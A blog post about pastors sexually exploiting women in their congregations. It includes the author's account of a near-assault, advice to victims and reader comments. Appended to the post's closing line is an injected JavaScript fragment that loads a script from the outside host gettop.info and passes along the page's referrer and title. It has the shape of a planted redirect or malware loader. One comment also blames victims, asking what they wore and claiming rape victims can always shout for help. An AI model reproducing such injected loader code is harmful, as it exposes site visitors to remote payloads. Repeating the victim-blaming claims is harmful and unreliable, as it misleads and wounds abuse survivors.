I find it very sad and disheartening, the rate at which i hear reported cases of Pastors who sleep with their female church members. It’s a scourge and a cancer that’s running so wild, i wonder how it became so bad so fast. I have heard of countless cases; let’s not check the gory details at all.
What cases should we address? Is it the Pastor that mounts the pulpit to preach immediately after having sex with a lady in his office, or the one that claims his penis is God’s instrument for delivering the barren? Is it the Pastor that doesn’t even limit his “acts” to one or a few, but many?
If i may ask, do you have a friend or you know someone, probably a friend’s friend, who has been, or is currently a victim of the acts of these “men of God” who “devour” the sheep kept in their care by God or “themselves”?
I have had a near experience with a Pastor in my school fellowship before. There was the annual convocation event in school that day, so everywhere was rowdy and busy. I had a couple of older friends who had their convocation on the same day; and my fellowship pastor had his on the same day as well so i didn’t see him that day. I passed by his room as i headed to a friend’s block, and decided to drop by and congratulate him. I met him alone in his room (he just got in, apparently) and i greeted him with a hug, and that was normal in our fellowship. He held on to me after, and before i knew it, he was already aroused. I freed myself quickly and headed for the door and out. He called me back and apologized for what he was about doing; and went on to explain that he had a weakness in the area of women and needed me to pray along with him. I never stepped into his room after then. That day was one of his last days in school; so i didn’t get to see him till he left finally. I got back to my room and wondered what had been going on between him and the ladies that were regularly around him….
I have zero tolerance for the act of taking advantage of young ladies who are already faced with the struggles of right living by the same people that should show the way. Many of the ladies who fall victim get to hear later that the pastor had already committed the same atrocities with a number of ladies in the church. Here are a few things i’ll advise the person who has been or is, a victim of such act to do:
1) Don’t keep quiet about it. Voice it out to someone you trust, especially an older person, immediately. The possibility that it will happen again is very high.
2) Leave the church! It’s surprising based on my research when i saw that many of those ladies still stay in the church for whatever reason that i don’t understand especially if the pastor founded the church. What exactly are you still doing there? Staying around poisons you even further; your perspective of right/wrong begins to shift and it doesn’t look like a big deal anymore.
3) Write an anonymous letter to someone you know mentors the pastor if you can’t tell him directly and follow up to ensure he calls him to order. This is for the sake of innocent female church members who have not yet been affected by the issue.
I have a few more things to say by way of advice. But i’ll want my readers to share their thoughts. What do you think? Do you think it’s sexual assault or a case of two consenting adults? I have tried hard to rid this article of emotions as much as possible and write with a clear head because i take this issue very personal. Let’s suggest what can be done; let’s salvage our future mothers from these “wolves in sheep clothing”.
Have a great weekend!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
11 thoughts on “Is your pastor sleeping with your friend?”
hmmmm ….
It is really a cancer. I wonder what kind of excuse a man would give for stooping that low. Lets even forget a Pastor, a normal man shouldn’t even do that.
Ladies also have to guide their hearts and bodies. Any man, I repeat – any man who isn’t married to you and wants to feast on your body is a thief. Even if he is your boyfriend or fiancée. When I was in the University, I noticed a lot of the ladies only had eyes for people in positions in the fellowship especially Presidents, bible study and prayer secretaries. This trend continues outside and even when those bros cross the lines, the ladies tend to think the “spirituality” covers the weakness.
Its a lie from the pit of hell that they cannot control their urges. It is people who condone those excuses that spoil them. Our God is not a God of confusion. What is wrong is wrong. In fact, as a Christian, I hold myself to a higher level of standard especially with the female folks. The ladies must not even allow things to happen before dealing with situations like that. Bite, run and even slap if any man tries to cheat u of ur dignity.
Same applies to ladies who allow men in high places to insult them. Bosses in the office, etc. Those men are in d same mold with the supposes pastors. They are just predators and women must know that not all men are like that. If u meet one like that, rubbish them. You owe the World that.
Sorry for the long comment. It is a sore in my heart.
Happens all too often. I personally know so many girls who have found themselves in this situation, very, very sad. The Catholic church is in the middle of their child abuse scandal, but I feel that the ‘pentecostal’ or ‘new age’ churches are actually worse.
MY FIRST QUESTIONS WHEN I COME ACROSS LADIES WHO HAVE HAD OR NEAR TO EXPERIENCE ARE THESE: WHAT WHERE U WEARING? WHAT WHERE U DOING IN HIS OFFICE ALONE? WHAT WAS UR FIRST REACTION WHEN U NOTICE WHAT HE WAS ABOUT TO DO?
WHY DS QUESTION U MAY ASK ME, THE BIBLE SAYS TWO CAN NOT WALK TOGETHER IF THEY DO NOT AGREE, WE USUALLY SAY IT TAKES TWO TO TANGLE (EXCEPT IT WAS RAPE, WHICH AM SURE U SHOULD BE ABLE TO SHOUT FOR HELP NO MATTER HOW MUCH U WERE BEATEN OR ASSAULTED OR IS JUST THE TWO OF U IN THE BUILDING)
WHEN WE WERE GROWING UP TOPE U REMEMBER WOMEN DO NOT GO VISITING A MAN ALONE & OUR PARENT ALWAYS TELL US NOT TO GO WHERE U WILL NOT BE SEEING AS A CHILD OF GOD, ALSO THE BIBLE SAYS FLEE ALL APPEARANCES OF EVIL, ALSO THAT WE SHOULD FLEE FROM FORNICATION.
U SAID U RAN, IN UR OWN EPISODE BUT SOME OF US WOMEN FOLK GET CARRIED AWAY WITH POWER(PEOPLE IN POSITION OF AUTHORITY)THAT WE LOOSE OUR IDENTITY IN CHRIST JUST BECAUSE WE WANT TO ASSOCIATE WITH POWER. WHAT OTHER POWER OR FAME CAN WE ASSOCIATE WITH OTHER THAN THAT OF GOD & CHRIST.
AM SPEAKING FROM EXPERIENCE,I HAVE BEING CLOSE TO IT AS WELL BUT I WAS GUILTY AS I WENT TO SEE A MAN OF GOD[HE IS A MAN BEFORE HE BECAME OF GOD] THAT HAVE JUST FINISHED A 3DAYS MINISTRATION IN HIS OFFICE/RESTING-ROOM FOR COUNSELING {I WAS NAIVE THEN BUT I KNOW BETTER NOW}ALONE,WHY NOT HIS WIFE OR ANOTHER FEMALE MINISTER OR WITH SOMEONE ELSE [IT CAN NOT BE EASY TO RAPE TWO PEOPLE ALONE].
I BELIEVE WE SHOULD GO BACK TO THE OLD WAYS IN CHURCH (OLD TIME RELIGION SOME PEOPLE CALL IT) A MAN TO COUNSEL A MAN WOMAN TO WOMAN, IF U MUST SEE THE PASTOR GO THRU HIS WIFE AND ENSURE SOME OTHER FEMALE IS THERE WITH U OR A MAN OF GOOD REPUTE.
LET US MIND WHAT WE ARE PUTTING ON THE LESS THAT IS EXPOSED THE MORE BEAUTIFUL WE ARE AND THE MORE THE MAN WILL RESPECT U BUT WHEN WE BARE OUR BODY WE DISHONOR GOD, “IF WE MUST BEAR ANYTHING BEAR UR MIND & SOUL” [UNILAG].
OUR OLDER WOMEN SHOULD PUT US THRU LIVING BEAUTIFUL NOT ONLY OUTWARDLY BUT MOSTLY INWARDLY AND LET US ALL PASS IT ON. LET US KEEP THE CANDLE BURNING AND SAFE OUR GENERATION FROM THE TRICK OF THE DEVIL.
VOICE IT OUT IF U NOTICE IT AND PLS PRAY, PRAY ,PRAY AM SURE IT IS ONE OF THE REASON WHY THIS TOPIC IS COMING OUT NOW, WE NEED TO PRAY FOR OUR PASTOR, OUR HUSBANDS, CHILDREN AND BRETHREN THAT GOD WILL HELP US ALL TO PUT THE FLESH UNDER AND GIVE US THE GRACE TO OBEY HIM FULLY KNOWING THAT PARTIAL OBEDIENCE IS NO OBEDIENCE.
WOMEN BE CAREFUL AND WATCHFUL EVEN OF THE ONE THAT IS NOT A PASTOR, DONT LET THEM ROB U OF UR DIGNITY.
There is an explosion of churches in our society today. Every Biola, Adamu and Ikenna is a pastor these days. Whilst the rapid increase in churches should not be a bad thing in itself, the fact that too many of the pastors are into it for selfish reasons makes the whole thing nasty. Thus, all shades of characters with no serious conviction about Christ end-up being shepherds of a flock. Such people do not have much inhibition against sexual excesses.
Like you pointed out, it might just be best for (potential) victims to raise the alarm or leave the place.
I thank God for you. To some it does not matter. The suggestions are good but I think leaving the Church should not be part of it. We should all resist the evil in our churches. Are you sure of the new church she is going? Let us all be like Phinehas in Numbers 25:6-13 and use our javelins against evil in the church.
I just ran acroos this post. i recently moved to North Carolina and it is just ridiculous. thank God for his grace and mercy. I just left a church where i went out on a few dates with the pastor who is single. He is a wolf in sheep clothing and I found out that he has been having an intimate relationship with my good friend for years. The day i decided to tell her me and him was hanging out I found out. the kicker is it is about 5 other women in the church he has been sleeping with not to name the countless ones who do not attend the church. Glad I did not get caught up with that demon.
I hae interest to join but how do I start
Now adays there’s lot of false pastor. I think all of them are a wolf in sheep’s clothing. Pls let separate from them. NOTE: all these pastor’s are a person who seems to be friendly or harmless but they are really an enemy. I pray GOD should safe our girls from them.
Dray Cares.
In a situation where the pastor is so popular and breadwinner of the family , how does the wife who is not working cope.
Indeed pastor that sleep around can be forgiven but should not be spared of the disgrace.
I know someone who has had this experience…
Ese, now we know the ‘someone’